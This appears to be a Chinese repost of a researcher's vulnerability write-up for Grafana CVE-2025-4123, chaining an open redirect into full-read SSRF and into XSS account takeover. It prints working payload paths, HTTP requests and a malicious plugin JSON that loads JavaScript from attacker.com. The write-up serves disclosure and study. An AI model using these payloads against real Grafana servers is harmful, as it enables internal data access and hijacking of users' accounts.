CVE-2025–4123 | Grafana SSRF和账户接管漏洞分析

CVE-2025–4123 | Grafana SSRF和账户接管漏洞分析

白帽子左一 白帽子左一 2025-06-05 04:00

扫码领资料

获网安教程

图片

图片

Track安全社区投稿~

赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

摘要

开放重定向是指当一个网页应用程序接收一个URL参数并将用户重定向到该指定URL时,未对其进行验证的情况。

/redirect?url=https://evil.com` --> (302 Redirect) --> `https://evil.com

这本身看起来可能并不危险,但这种类型的漏洞成为发现两个独立漏洞的起点:一个完整读取的SSRF和一次账户接管。

在这篇文章中,我将逐步讲解我是如何发现它们的整个过程。

为什么选择Grafana?

Grafana是一个开源的分析平台,主要使用Go和TypeScript编写,用于可视化来自Prometheus和InfluxDB等数据源的数据。

我认为在这个Web应用中发现漏洞是一个不错的挑战,所以我下载了源代码并开始调试——尽管这是我第一次接触Go语言。我决定专注于应用中未认证的部分。

切入点:开放重定向

我查看了api/api.go
中定义的所有未认证端点。

...// not logged in viewsr.Get("/logout", hs.Logout)r.Post("/login", requestmeta.SetOwner(requestmeta.TeamAuth), quota(string...r.Get("/login/:name", quota(string(auth.QuotaTargetSrv)), hs.OAuthLogin)r.Get("/login", hs.LoginView)r.Get("", hs.Index)// authed viewsr.Get("/", reqSignedIn, hs.Index)r.Get("/profile/", reqSignedInNoAnonymous, hs.Index)...

功能分析

我甚至进一步深入研究了整个应用中使用的中间件。就在那时,我发现了一个负责处理静态路由的函数——它引起了我的注意。

func staticHandler(ctx *web.Context, log log.Logger, opt StaticOptions) bool {    if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" {  return false } file := ctx.Req.URL.Path for _, p := range opt.Exclude {  if file == p {   return false  } } // if we have a prefix, filter requests by stripping the prefix if opt.Prefix != "" {  if !strings.HasPrefix(file, opt.Prefix) {   return false  }  file = file[len(opt.Prefix):]  if file != "" && file[0] != '/' {   return false  } } f, err := opt.FileSystem.Open(file) if err != nil {  return false }   ..............}

该函数用于根据用户输入从系统中读取文件。很自然,我的第一个想法是尝试使用路径遍历技术(如 ../
 或类似的技巧)来加载任意文件。

我会向你解释整个代码的执行流程以及所做的所有输入清理(理解这个漏洞的关键)。

img

因此,如果你请求 /public/file/../../../name
,路径会被清理,并解析为 /staticfiles/etc/etc/name
,从而有效阻止访问目标目录之外的非预期文件。

此外,如果解析后的最终路径指向一个文件夹,StaticHandler
 函数会检查该文件夹内是否存在默认文件 —— 通常会从该目录中返回 /index.html

if fi.IsDir() {    // Redirect if missing trailing slash.    if !strings.HasSuffix(ctx.Req.URL.Path, "/") {        path := fmt.Sprintf("%s/", ctx.Req.URL.Path)        if !strings.HasPrefix(path, "/") {            // Disambiguate that it's a path relative to this server            path = fmt.Sprintf("/%s", path)        } else {            // A string starting with // or /\ is interpreted by browsers as a URL, and not a server relative path            rePrefix := regexp.MustCompile(`^(?:/\\|/+)`)            path = rePrefix.ReplaceAllString(path, "/")        }        http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)        return true    }    file = path.Join(file, opt.IndexFile)    indexFile, err := opt.FileSystem.Open(file)    ....}

如你所见,如果最终的文件是一个目录,并且所提供的路径(如 /public/build
)未以 /
 结尾,服务器会重定向到同一路径并在末尾添加一个 /

GET /public/build HTTP/1.1Host: 192.168.100.2:3000HTTP/1.1 302 FoundLocation: /public/build/

这种重定向行为正是开放重定向漏洞发生的地方,接下来我们就深入分析这一点。

目标

在我的场景中,应用程序会根据所提供的路径进行重定向,因此最终的重定向URL始终以 /
 开头。我的目标是构造一个路径,当被请求时会重定向到一个合法的、以 /
 开头的完整URL,例如:
– • //attacker.com/…
 –> //
 表示协议相对URL,会使用当前页面的协议(如 HTTPS)

  • • /\attacker.com/…
     –> /\
     同样具有相同效果

问题与解决方案

有效目录

为了触发重定向功能,我需要一个以 /public/
 开头的路径,并且在传递给 opt.FileSystem.Open(file)
 时能够解析为一个有效的目录。

我从 /public/\attacker.com/../..
 开始尝试,这条路径会被解析为一个空字符串 “”
,然后被附加到 /staticfiles/etc/etc/
,从而触发 if fi.isDir(){}
 的代码逻辑。

/public/\attacker.com/../..
 –>

/\attacker.com/../..
 –> “”
 –>

/staticfiles/etc/etc/`+`""` --> `fi.isDir() TRUE

现在,我已经找到了注入任意payload的方法,使其能够被 opt.FileSystem.Open(file)
 解析为一个文件夹:
/public/{}/../../..

不一致性

一旦进入 isDir()
 部分,路径 /public/\attacker.com/../..
 会到达 http.Redirect()
 函数。问题在于该函数同样会解析路径,导致重定向路径最终变成 /

if fi.IsDir() {    ...                        //path is "/public/\attacker.com/../.." but the final redirect is "/"        http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)        return true        ...}

如果我请求 /public/\attacker.com/../..

GET /public/\attacker.com/../.. HTTP/1.1Host: 192.168.100.2:3000HTTP/1.1 302 FoundLocation: /

所以,基本上,

我需要构造一个路径,使得在加载文件时 /../../..
 被 opt.FileSystem.Open(file)
 解析,

但在执行重定向时,http.Redirect()
 不对其进行解析。

该路径在两种情况下的解析方式不同。
– • opt.FileSystem.Open(file)
 期望的是系统文件路径

  • • http.Redirect(path)
     期望的是URL路径

问题即答案
?

  • • opt.FileSystem.Open(file)
     将 ?
     视为普通字符。

  • • http.Redirect(path)
     将 ?
     解释为URL参数的开始。

这意味着 /public/\attacker.com/?/../../../..
 会被处理为:

在 opt.FileSystem.Open()
 中 — >
– • /public/\attacker.com/?/../../../..
 解析为 “”

/staticfiles/etc/etc/
 + “”
 是一个有效的文件夹。

在 http.Redirect()
 中 →
– • /public/\attacker.com/?/../../../..
 –> ?
 后面的内容被视为查询字符串,不作为路径解析。

带 ?
 的请求 -> %3f

GET /public/\attacker.com/%3f/../.. HTTP/1.1Host: 192.168.100.2:3000HTTP/1.1 302 FoundLocation: /public/\attacker.com/?/../../

最终payload

URL /public/\attacker.com/?/../../../..
 需要被解析成一个以 /\
 开头的完整URL。

我简单地使用了这个路径:/public/../\attacker.com/?/../../../..

当 http.Redirect()
 解析路径时,会移除 /public
 部分。

请求:

GET /public/../\attacker.com/%3f/../../../../../.. HTTP/1.1Host: 192.168.100.2:3000HTTP/1.1 302 FoundLocation: /\attacker.com/?/../../../../../../

摘要图解

img

完整读取 SSRF

该开放重定向本身没有严重的安全影响,因此我需要将其与其他功能链式利用。

Grafana 有一个名为 /render
 的端点,用于根据提供的路径生成图片。

// renderingr.Get("/render/*", requestmeta.SetSLOGroup(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)

img

该端点使用无头浏览器渲染用户指定路径的HTML,它只接受相对URL路径 /route
,不允许渲染来自绝对URL https://…
 的内容。

但如果我利用发现的开放重定向来重定向到内部服务怎么办?

首先,我尝试通过 /render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f..
 加载 google.es

img

然后我搭建了一个外部无法访问的内部服务,

并尝试通过 /render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f..
 加载 127.0.0.1:1234

img

通过该漏洞,我能够完整读取内部服务。由于渲染使用了浏览器,我甚至可以通过构造一个指向内部服务的表单来发送 POST
 请求。

Grafana 在 Intigriti 上的公开漏洞计划未将 /render
 端点纳入范围,因为该端点默认未启用。

此外,该漏洞需要登录才能利用,所以我无法从中获益。

通过 XSS 实现账号接管

这可能是我利用过的最棒的漏洞链,成功实现了 XSS 和账号接管。

客户端路径遍历

Grafana 大量客户端代码允许客户端路径遍历。

例如,当你在浏览器加载 /invite/1
 时,JavaScript 会请求 /api/user/invite/1
 来获取邀请信息。

但是,如果你加载 /invite/..%2f..%2f..%2f..%2froute
,JavaScript 会解析路径遍历,最终加载 /route

img

这就创造了一个完美的场景,可以强制 JavaScript 加载开放重定向,从而从我的服务器获取特制的 JSON。

但首先,我需要找到一个以不安全方式加载内容的端点,并利用它执行 JavaScript。

加载恶意 JavaScript 文件

你可以使用 /a/plugin-app/explore
 来加载和管理插件应用。

该功能的 JavaScript 会从 URL 中提取插件应用名称,并用它请求 /api/plugins/plugin-app/settings
 来获取插件信息。

/api/plugins/plugin-app/settings
 文件内容如下。

{    "name": "plugin-app",    "type": "app",    "id": "plugin-app",    "enabled": true,    "pinned": true,    "autoEnabled": true,    "module": "/modules/..../plugin-app.js", //js file to load    "baseUrl": "public/plugins/grafana-lokiexplore-app",    "info": {        "author": {            "name": "Grafana"            ...        }    }    ...}

/a/plugin-app/explore
 会加载该文件,并执行 “module”
 参数中提供的 JavaScript。

/a/plugin-app/explore
 存在客户端路径遍历漏洞,允许我加载服务器上的任意路由,而不是 /api/plugin-app/settings

这使我能够加载开放重定向,进而获取包含任意 JavaScript 文件的恶意 JSON。

所以基本上,我搭建了自己的服务器,放置所有必要的 JS 和 JSON 文件。

我只需要托管如下格式的 JSON:

{    "name": "ExploitPluginReq",    "type": "app",    "id": "grafana-lokiexplore-app",    "enabled": true,    "pinned": true,    "autoEnabled": true,    "module": "http://attacker.com/file?js=file", //malicious js file    "baseUrl": "public/plugins/grafana-lokiexplore-app",    "info": {        "author": {...}    }    ...}

然后加载这个路径,/a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore
,利用了客户端路径遍历和开放重定向漏洞。

结果是:

img

我的恶意 JavaScript 文件被执行,使我能够更改受害者的邮箱并重置他们的密码。

摘要图解

img

完整漏洞利用:

https://github.com/NightBloodz/CVE-2025-4123

我一直认为 Grafana 是一个几乎无法攻破的目标。它看起来非常复杂且安全——公平地说,确实如此。

但发现这个漏洞证明了,无论一个应用看起来多么安全,它总是存在漏洞,或者最终会出现漏洞。

我无法通过向多个漏洞赏金计划报告来进一步升级该漏洞,因为两个利用路径都需要身份认证。

img

参考链接:https://medium.com/@Nightbloodz/grafana-cve-2025-4123-full-read-ssrf-account-takeover-d12abd13cd53

获取更多精彩内容,尽在Track安全社区~:
https://bbs.zkaq.cn

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学**习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!

如果你是一个网络安全爱好者,欢迎加入我的知识星球:zk安全知识星球,我们一起进步一起学习。星球不定期会分享一些前沿漏洞,每周安全面试经验、SRC实战纪实等文章分享,微信识别二维码,即可加入。